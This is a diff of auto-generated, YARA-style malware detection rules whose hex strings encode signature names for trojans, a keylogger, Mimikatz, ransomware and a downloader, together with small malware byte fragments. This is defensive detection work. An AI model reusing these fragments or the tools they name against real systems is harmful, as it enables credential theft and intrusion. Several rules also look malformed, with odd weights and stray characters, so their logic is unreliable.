65 72 3a 41 64 47 61 7a 65 6c 6c 65 00 01 00 15 2e 3f 61 76 6f 6c 65 69 6e 70 6c 61 63 65 66 72 61 6d 65 40 40 01 00 15 2e 3f 61 76 69 6e 73 74 61 6c 6c 65 72 77 69 6e 64 6f 77 40 40 00 00 61 5d 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f } //19491 + $a_01_0 = {77 66 69 3a 50 55 41 3a 42 75 6e 64 6c 65 72 43 6c 75 73 74 65 72 3a 41 64 47 61 7a 65 6c 6c 65 00 01 00 15 2e 3f 61 76 6f 6c 65 69 6e 70 6c 61 63 65 66 72 61 6d 65 40 40 01 00 15 2e 3f 61 76 69 6e 73 74 61 6c 6c 65 72 77 69 6e 64 6f 77 40 40 00 00 61 5d 00 00 02 00 02 00 02 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f } //19491 $a_01_1 = {73 61 6e 2e 4d 41 21 4d 54 42 00 01 00 25 24 34 61 32 66 38 66 62 36 2d 31 30 37 37 2d 34 36 39 61 2d 39 32 34 36 2d 37 33 36 65 36 61 66 65 38 64 61 31 01 00 0a 43 6c 69 65 6e 74 2e 65 78 65 00 00 61 5d 00 00 03 00 03 00 03 00 21 23 4f 46 4e 3a 70 73 65 78 65 63 2e 63 00 01 00 0d 55 73 61 67 65 3a 20 70 73 65 78 65 63 01 00 20 70 00 69 00 70 00 65 00 5c 00 25 } //29251 condition: ((#a_01_0 & 1)*19491+(#a_01_1 & 1)*29251) >=2 } -rule _InfrastructureShared_27072{ +rule _InfrastructureShared_28798{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " strings : - $a_01_0 = {4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 43 72 79 73 61 6e 2e 4d 41 21 4d 54 42 00 01 00 25 24 34 61 32 66 38 66 62 36 2d 31 30 37 37 2d 34 36 39 61 2d 39 32 34 36 2d 37 33 36 65 36 61 66 65 38 64 61 31 01 } //21539 - $a_01_1 = {6c 69 65 6e 74 2e 65 78 65 00 00 61 5d 00 00 03 00 03 00 03 00 21 23 4f 46 4e 3a 70 73 65 78 65 63 2e 63 00 01 00 0d 55 73 61 67 65 3a 20 70 73 65 78 65 63 01 00 20 70 00 69 00 70 00 65 00 5c 00 25 00 } //2560 + $a_01_0 = {46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 43 72 79 73 61 6e 2e 4d 41 21 4d 54 42 00 01 00 25 24 34 61 32 66 38 66 62 36 2d 31 30 37 37 2d 34 36 39 61 2d 39 32 34 36 2d 37 33 36 65 36 61 66 65 38 64 61 31 01 00 0a 43 6c 69 65 6e } //21283 + $a_01_1 = {78 65 00 00 61 5d 00 00 03 00 03 00 03 00 21 23 4f 46 4e 3a 70 73 65 78 65 63 2e 63 00 01 00 0d 55 73 61 67 65 3a 20 70 73 65 78 65 63 01 00 20 70 00 69 00 70 00 65 00 5c 00 25 00 73 00 2d 00 25 00 73 00 2d 00 25 00 64 00 2d 00 73 00 74 00 01 00 10 70 00 73 00 65 00 78 00 65 00 63 00 2e 00 63 00 00 00 } //11892 condition: - ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*2560) >=2 + ((#a_01_0 & 1)*21283+(#a_01_1 & 1)*11892) >=2 } -rule _InfrastructureShared_27073{ +rule _InfrastructureShared_28799{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -353595,7 +376134,7 @@ rule _InfrastructureShared_27073{ ((#a_01_0 & 1)*20259+(#a_01_2 & 1)*101) >=3 } -rule _InfrastructureShared_27074{ +rule _InfrastructureShared_28800{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -353606,7 +376145,7 @@ rule _InfrastructureShared_27074{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*29285) >=3 } -rule _InfrastructureShared_27075{ +rule _InfrastructureShared_28801{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 01 00 21 " @@ -353616,7 +376155,7 @@ rule _InfrastructureShared_27075{ ((#a_01_0 & 1)*16675) >=4 } -rule _InfrastructureShared_27076{ +rule _InfrastructureShared_28802{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0a 00 0a 00 01 00 21 " @@ -353626,7 +376165,7 @@ rule _InfrastructureShared_27076{ ((#a_01_0 & 1)*16675) >=10 } -rule _InfrastructureShared_27077{ +rule _InfrastructureShared_28803{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,65 00 65 00 03 00 21 " @@ -353638,7 +376177,7 @@ rule _InfrastructureShared_27077{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*27753+(#a_01_2 & 1)*24832) >=101 } -rule _InfrastructureShared_27078{ +rule _InfrastructureShared_28804{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -353648,7 +376187,7 @@ rule _InfrastructureShared_27078{ ((#a_01_0 & 1)*16675) >=1 } -rule _InfrastructureShared_27079{ +rule _InfrastructureShared_28805{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -353658,7 +376197,7 @@ rule _InfrastructureShared_27079{ ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_27080{ +rule _InfrastructureShared_28806{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -353668,7 +376207,7 @@ rule _InfrastructureShared_27080{ ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_27081{ +rule _InfrastructureShared_28807{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -353678,41 +376217,29 @@ rule _InfrastructureShared_27081{ ((#a_01_0 & 1)*21539) >=1 } -rule _InfrastructureShared_27082{ +rule _InfrastructureShared_28808{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " strings : $a_01_0 = {46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4a 61 6c 61 70 65 6e 6f 2e 4d 41 21 4d 54 42 00 01 00 0a 6d 79 73 65 6c 66 2e 64 6c 6c 01 00 24 54 00 65 00 68 00 75 00 6c 00 63 00 68 00 65 00 73 00 58 00 78 00 58 00 78 00 78 00 2e 00 } //16675 - $a_01_1 = {00 6c 00 00 00 61 5e 00 00 02 00 02 00 03 00 21 23 50 55 41 3a 42 75 6e 64 6c 65 72 43 6c 75 73 74 65 72 3a 43 68 65 61 74 45 6e 67 69 6e 65 32 00 01 00 0f 3c 2c 3c 39 3c 65 3c 75 3c 5c 3c 6b 3c 77 3c 01 00 0e 74 68 61 6e 64 6c 65 73 74 72 65 61 6d 40 01 00 0e 65 66 63 72 65 61 74 65 65 72 72 6f 72 68 00 00 61 5e 00 00 03 } //100 + $a_01_1 = {00 6c 00 00 00 61 5e 00 00 02 00 02 00 03 00 21 23 50 55 41 3a 42 75 6e 64 6c 65 72 43 6c 75 73 74 65 72 3a 43 68 65 61 74 45 6e 67 69 6e 65 32 00 01 00 0f 3c 2c 3c 39 3c 65 3c 75 3c 5c 3c 6b 3c 77 3c 01 00 0e 74 68 61 6e 64 6c 65 73 74 72 65 61 6d 40 01 00 0e 65 66 63 72 65 61 74 65 65 72 72 6f 72 68 00 00 61 5e 00 00 04 } //100 condition: ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*100) >=2 } -rule _InfrastructureShared_27083{ +rule _InfrastructureShared_28809{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 03 00 21 " strings : $a_01_0 = {41 3a 42 75 6e 64 6c 65 72 43 6c 75 73 74 65 72 3a 43 68 65 61 74 45 6e 67 69 6e 65 32 00 01 00 0f 3c 2c 3c 39 3c 65 3c 75 3c 5c 3c 6b 3c 77 3c 01 00 0e 74 68 61 6e 64 6c 65 73 74 72 65 61 6d 40 01 00 0e 65 66 63 72 65 61 74 65 65 72 72 6f 72 68 00 00 61 } //20515 - $a_01_2 = {00 03 00 } //3 + $a_01_2 = {00 07 00 21 } //4 ܀℀ condition: - ((#a_01_0 & 1)*20515+(#a_01_2 & 1)*3) >=2 + ((#a_01_0 & 1)*20515+(#a_01_2 & 1)*4) >=2 } -rule _InfrastructureShared_27084{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " - - strings : - $a_01_0 = {46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4b 65 79 4c 6f 67 67 65 72 2e 4d 58 21 4d 54 42 00 01 00 09 4b 65 79 6c 6f 67 67 65 72 01 00 12 50 72 6f 6a 65 63 74 4c 6f 67 66 75 63 6b 2e 70 64 62 01 00 0e 77 00 65 00 62 00 68 00 } //16675 - $a_01_1 = {00 6b 00 00 00 61 5e 00 00 04 00 04 00 07 00 21 23 48 53 54 52 3a 50 57 53 44 69 63 74 69 6f 6e 61 72 79 00 01 00 09 62 69 6c 6c 67 61 74 65 73 01 00 06 6d 79 6c 6f 76 65 01 00 06 31 32 33 71 77 65 01 00 07 6c 6f 76 65 79 6f 75 01 00 04 66 75 63 6b 01 00 06 65 6d 69 6e 65 6d 01 00 06 73 6f 63 63 65 72 00 00 61 5f 00 00 01 00 01 00 } //111 - $a_01_2 = {23 41 4c 46 50 45 52 3a 48 53 54 52 3a 57 69 7a 7a 54 72 61 6b 2e 41 31 00 01 00 3a 68 00 74 00 74 } //1 - condition: - ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*111+(#a_01_2 & 1)*1) >=3 - -} -rule _InfrastructureShared_27085{ +rule _InfrastructureShared_28810{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 07 00 21 " @@ -353728,7 +376255,7 @@ rule _InfrastructureShared_27085{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*24832+(#a_01_2 & 1)*0+(#a_01_3 & 1)*24832+(#a_01_4 & 1)*0+(#a_01_5 & 1)*24832+(#a_01_6 & 1)*0) >=4 } -rule _InfrastructureShared_27086{ +rule _InfrastructureShared_28811{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -353738,7 +376265,7 @@ rule _InfrastructureShared_27086{ ((#a_01_0 & 1)*16675) >=1 } -rule _InfrastructureShared_27087{ +rule _InfrastructureShared_28812{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -353748,7 +376275,7 @@ rule _InfrastructureShared_27087{ ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_27088{ +rule _InfrastructureShared_28813{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -353758,7 +376285,7 @@ rule _InfrastructureShared_27088{ ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_27089{ +rule _InfrastructureShared_28814{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -353768,7 +376295,7 @@ rule _InfrastructureShared_27089{ ((#a_01_0 & 1)*21539) >=1 } -rule _InfrastructureShared_27090{ +rule _InfrastructureShared_28815{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 02 00 21 " @@ -353779,7 +376306,7 @@ rule _InfrastructureShared_27090{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*0) >=1 } -rule _InfrastructureShared_27091{ +rule _InfrastructureShared_28816{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 01 00 21 " @@ -353789,7 +376316,7 @@ rule _InfrastructureShared_27091{ ((#a_01_0 & 1)*16675) >=2 } -rule _InfrastructureShared_27092{ +rule _InfrastructureShared_28817{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0a 00 0a 00 02 00 21 " @@ -353800,7 +376327,7 @@ rule _InfrastructureShared_27092{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*24943) >=10 } -rule _InfrastructureShared_27093{ +rule _InfrastructureShared_28818{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,14 00 14 00 02 00 21 " @@ -353811,7 +376338,7 @@ rule _InfrastructureShared_27093{ ((#a_01_0 & 1)*20259+(#a_01_1 & 1)*24434) >=20 } -rule _InfrastructureShared_27094{ +rule _InfrastructureShared_28819{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,1e 00 1e 00 03 00 21 " @@ -353822,7 +376349,7 @@ rule _InfrastructureShared_27094{ ((#a_01_0 & 1)*20259+(#a_01_1 & 1)*25955) >=30 } -rule _InfrastructureShared_27095{ +rule _InfrastructureShared_28820{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -353832,7 +376359,7 @@ rule _InfrastructureShared_27095{ ((#a_01_0 & 1)*16675) >=1 } -rule _InfrastructureShared_27096{ +rule _InfrastructureShared_28821{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -353842,7 +376369,7 @@ rule _InfrastructureShared_27096{ ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_27097{ +rule _InfrastructureShared_28822{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 02 00 21 " @@ -353852,7 +376379,7 @@ rule _InfrastructureShared_27097{ ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_27098{ +rule _InfrastructureShared_28823{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " @@ -353863,7 +376390,7 @@ rule _InfrastructureShared_27098{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*8563) >=2 } -rule _InfrastructureShared_27099{ +rule _InfrastructureShared_28824{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " @@ -353873,7 +376400,7 @@ rule _InfrastructureShared_27099{ ((#a_01_0 & 1)*18467) >=2 } -rule _InfrastructureShared_27100{ +rule _InfrastructureShared_28825{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " @@ -353884,7 +376411,7 @@ rule _InfrastructureShared_27100{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*-24576) >=2 } -rule _InfrastructureShared_27101{ +rule _InfrastructureShared_28826{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 04 00 21 " @@ -353896,7 +376423,7 @@ rule _InfrastructureShared_27101{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*24948+(#a_01_3 & 1)*10) >=2 } -rule _InfrastructureShared_27102{ +rule _InfrastructureShared_28827{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -353908,7 +376435,7 @@ rule _InfrastructureShared_27102{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*14924+(#a_01_2 & 1)*73) >=3 } -rule _InfrastructureShared_27103{ +rule _InfrastructureShared_28828{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0a 00 0a 00 01 00 21 " @@ -353918,7 +376445,7 @@ rule _InfrastructureShared_27103{ ((#a_01_0 & 1)*21539) >=10 } -rule _InfrastructureShared_27104{ +rule _InfrastructureShared_28829{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -353928,7 +376455,7 @@ rule _InfrastructureShared_27104{ ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_27105{ +rule _InfrastructureShared_28830{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 02 00 21 " @@ -353939,7 +376466,7 @@ rule _InfrastructureShared_27105{ ((#a_01_0 & 1)*21283+(#a_01_1 & 1)*23660) >=1 } -rule _InfrastructureShared_27106{ +rule _InfrastructureShared_28831{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 03 00 21 " @@ -353950,7 +376477,7 @@ rule _InfrastructureShared_27106{ ((#a_01_0 & 1)*18467+(#a_01_2 & 1)*24832) >=1 } -rule _InfrastructureShared_27107{ +rule _InfrastructureShared_28832{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " @@ -353961,7 +376488,7 @@ rule _InfrastructureShared_27107{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*-20721) >=2 } -rule _InfrastructureShared_27108{ +rule _InfrastructureShared_28833{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " @@ -353972,7 +376499,7 @@ rule _InfrastructureShared_27108{ ((#a_01_0 & 1)*25635+(#a_01_1 & 1)*18223) >=2 } -rule _InfrastructureShared_27109{ +rule _InfrastructureShared_28834{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -353983,7 +376510,7 @@ rule _InfrastructureShared_27109{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*21587) >=3 } -rule _InfrastructureShared_27110{ +rule _InfrastructureShared_28835{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -353994,7 +376521,7 @@ rule _InfrastructureShared_27110{ ((#a_01_0 & 1)*18467+(#a_01_2 & 1)*24832) >=3 } -rule _InfrastructureShared_27111{ +rule _InfrastructureShared_28836{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -354006,7 +376533,7 @@ rule _InfrastructureShared_27111{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*-5919+(#a_01_2 & 1)*25960) >=3 } -rule _InfrastructureShared_27112{ +rule _InfrastructureShared_28837{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -354018,7 +376545,7 @@ rule _InfrastructureShared_27112{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*29285+(#a_01_2 & 1)*1) >=3 } -rule _InfrastructureShared_27113{ +rule _InfrastructureShared_28838{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 04 00 21 " @@ -354029,7 +376556,7 @@ rule _InfrastructureShared_27113{ ((#a_01_0 & 1)*20515+(#a_01_1 & 1)*0) >=4 } -rule _InfrastructureShared_27114{ +rule _InfrastructureShared_28839{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 04 00 21 " @@ -354041,7 +376568,7 @@ rule _InfrastructureShared_27114{ ((#a_01_0 & 1)*18467+(#a_01_2 & 1)*24832+(#a_01_3 & 1)*0) >=5 } -rule _InfrastructureShared_27115{ +rule _InfrastructureShared_28840{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -354051,7 +376578,7 @@ rule _InfrastructureShared_27115{ ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_27116{ +rule _InfrastructureShared_28841{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -354061,7 +376588,7 @@ rule _InfrastructureShared_27116{ ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_27117{ +rule _InfrastructureShared_28842{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -354071,7 +376598,7 @@ rule _InfrastructureShared_27117{ ((#a_01_0 & 1)*20515) >=1 } -rule _InfrastructureShared_27118{ +rule _InfrastructureShared_28843{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -354081,7 +376608,7 @@ rule _InfrastructureShared_27118{ ((#a_01_0 & 1)*25635) >=1 } -rule _InfrastructureShared_27119{ +rule _InfrastructureShared_28844{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " @@ -354092,7 +376619,7 @@ rule _InfrastructureShared_27119{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*25964) >=2 } -rule _InfrastructureShared_27120{ +rule _InfrastructureShared_28845{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " @@ -354102,7 +376629,7 @@ rule _InfrastructureShared_27120{ ((#a_01_0 & 1)*20515) >=2 } -rule _InfrastructureShared_27121{ +rule _InfrastructureShared_28846{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 03 00 21 " @@ -354114,7 +376641,7 @@ rule _InfrastructureShared_27121{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*19777+(#a_01_2 & 1)*25705) >=2 } -rule _InfrastructureShared_27122{ +rule _InfrastructureShared_28847{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -354126,7 +376653,7 @@ rule _InfrastructureShared_27122{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*25665+(#a_01_2 & 1)*28261) >=3 } -rule _InfrastructureShared_27123{ +rule _InfrastructureShared_28848{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -354137,7 +376664,7 @@ rule _InfrastructureShared_27123{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*21320) >=3 } -rule _InfrastructureShared_27124{ +rule _InfrastructureShared_28849{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 05 00 21 " @@ -354151,7 +376678,7 @@ rule _InfrastructureShared_27124{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*27745+(#a_01_2 & 1)*25927+(#a_01_3 & 1)*25455+(#a_01_4 & 1)*1809) >=3 } -rule _InfrastructureShared_27125{ +rule _InfrastructureShared_28850{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 04 00 21 " @@ -354164,7 +376691,7 @@ rule _InfrastructureShared_27125{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*29541+(#a_01_2 & 1)*10+(#a_01_3 & 1)*28530) >=5 } -rule _InfrastructureShared_27126{ +rule _InfrastructureShared_28851{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 05 00 21 " @@ -354174,7 +376701,7 @@ rule _InfrastructureShared_27126{ ((#a_01_0 & 1)*20515) >=5 } -rule _InfrastructureShared_27127{ +rule _InfrastructureShared_28852{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0a 00 0a 00 01 00 21 " @@ -354184,7 +376711,7 @@ rule _InfrastructureShared_27127{ ((#a_01_0 & 1)*16675) >=10 } -rule _InfrastructureShared_27128{ +rule _InfrastructureShared_28853{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0a 00 0a 00 01 00 21 " @@ -354194,20 +376721,7 @@ rule _InfrastructureShared_27128{ ((#a_01_0 & 1)*21539) >=10 } -rule _InfrastructureShared_27129{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,28 00 28 00 05 00 21 " - - strings : - $a_01_0 = {46 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 36 34 2f 4d 69 6d 69 6b 61 74 7a 2e 46 00 0a 00 07 33 c0 eb 20 48 8d 05 0a 00 0d 4c 89 1f 48 89 47 08 49 39 43 08 0f 85 0a 00 07 08 48 39 48 08 0f 85 0a 00 08 48 89 4e 08 48 39 48 08 0a } //21283 - $a_01_1 = {89 4f 08 48 89 78 08 00 00 61 63 00 00 01 00 01 00 01 00 21 23 41 4c 46 3a 52 61 6e 73 6f 6d 3a 57 69 6e 33 32 2f 46 69 6c 65 43 6f 64 65 72 2e 46 4c 21 4d 54 42 00 01 00 34 85 ed 7d 34 8d 95 ff ff ff 7f c1 e7 14 89 } //2048 - $a_01_2 = {1f 31 da 31 ef 8d 1d e0 16 66 00 8d 34 cb 33 56 04 33 3e 8b 74 24 20 89 f0 8d 74 ce 08 89 3e 89 56 04 e9 00 00 61 63 00 00 01 00 01 00 01 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 4e 65 75 72 65 76 74 52 75 6e 50 45 00 01 00 3e 64 a1 30 00 00 00 89 45 fc 83 c0 0c 8b 00 89 45 f8 8b 4d fc 85 c9 74 23 8b 45 f8 8b 40 0c 8b 51 08 85 c0 74 16 39 50 18 74 08 8b 00 85 c0 75 f5 eb 06 89 70 18 8b 4d fc 89 71 08 ff 55 08 00 00 61 63 00 00 01 00 01 00 01 00 21 23 4c 6f 77 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 57 69 6e 33 32 2f 43 75 74 77 61 69 6c 2e 42 53 00 01 00 31 83 7c 24 08 0f 20 0f 84 90 01 04 20 83 7c 24 08 01 20 0f 84 90 01 04 20 81 7c 24 08 81 00 00 00 20 90 03 01 02 74 0f 84 20 90 02 04 20 e9 20 90 00 00 00 61 63 00 00 01 00 01 } //-15915 - $a_01_4 = {45 4c 3a 48 53 54 52 3a 54 72 6f 6a 61 6e 44 72 6f 70 70 65 72 3a 57 69 6e 33 32 2f 47 65 6e 62 68 76 2e 41 00 01 00 30 03 45 e8 8b 4d e8 2b c8 89 4d e8 8b 55 e8 03 55 e8 0f af 55 e8 89 55 e8 e9 68 ff ff ff 8b 45 f0 8b 4d 08 8b 55 e4 89 14 81 e9 e9 fe } //8993 - condition: - ((#a_01_0 & 1)*21283+(#a_01_1 & 1)*2048+(#a_01_2 & 1)*-15915+(#a_01_4 & 1)*8993) >=40 - -} -rule _InfrastructureShared_27130{ +rule _InfrastructureShared_28854{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -354217,7 +376731,7 @@ rule _InfrastructureShared_27130{ ((#a_01_0 & 1)*16675) >=1 } -rule _InfrastructureShared_27131{ +rule _InfrastructureShared_28855{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -354227,7 +376741,7 @@ rule _InfrastructureShared_27131{ ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_27132{ +rule _InfrastructureShared_28856{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -354237,7 +376751,7 @@ rule _InfrastructureShared_27132{ ((#a_01_0 & 1)*19491) >=1 } -rule _InfrastructureShared_27133{ +rule _InfrastructureShared_28857{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -354247,7 +376761,7 @@ rule _InfrastructureShared_27133{ ((#a_01_0 & 1)*21539) >=1 } -rule _InfrastructureShared_27134{ +rule _InfrastructureShared_28858{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -354257,7 +376771,7 @@ rule _InfrastructureShared_27134{ ((#a_01_0 & 1)*21539) >=1 } -rule _InfrastructureShared_27135{ +rule _InfrastructureShared_28859{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " @@ -354267,7 +376781,7 @@ rule _InfrastructureShared_27135{ ((#a_01_0 & 1)*16675) >=2 } -rule _InfrastructureShared_27136{ +rule _InfrastructureShared_28860{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " @@ -354278,7 +376792,7 @@ rule _InfrastructureShared_27136{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*-16128) >=2 } -rule _InfrastructureShared_27137{ +rule _InfrastructureShared_28861{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " @@ -354289,7 +376803,7 @@ rule _InfrastructureShared_27137{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*17672) >=2 } -rule _InfrastructureShared_27138{ +rule _InfrastructureShared_28862{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " @@ -354300,7 +376814,7 @@ rule _InfrastructureShared_27138{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*4096) >=2 } -rule _InfrastructureShared_27139{ +rule _InfrastructureShared_28863{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -354311,7 +376825,7 @@ rule _InfrastructureShared_27139{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*25933) >=3 } -rule _InfrastructureShared_27140{ +rule _InfrastructureShared_28864{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -354323,7 +376837,7 @@ rule _InfrastructureShared_27140{ ((#a_01_0 & 1)*21283+(#a_01_1 & 1)*28769+(#a_01_2 & 1)*25710) >=3 } -rule _InfrastructureShared_27141{ +rule _InfrastructureShared_28865{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0a 00 0a 00 01 00 21 " @@ -354333,7 +376847,7 @@ rule _InfrastructureShared_27141{ ((#a_01_0 & 1)*21539) >=10 } -rule _InfrastructureShared_27142{ +rule _InfrastructureShared_28866{ meta: description = 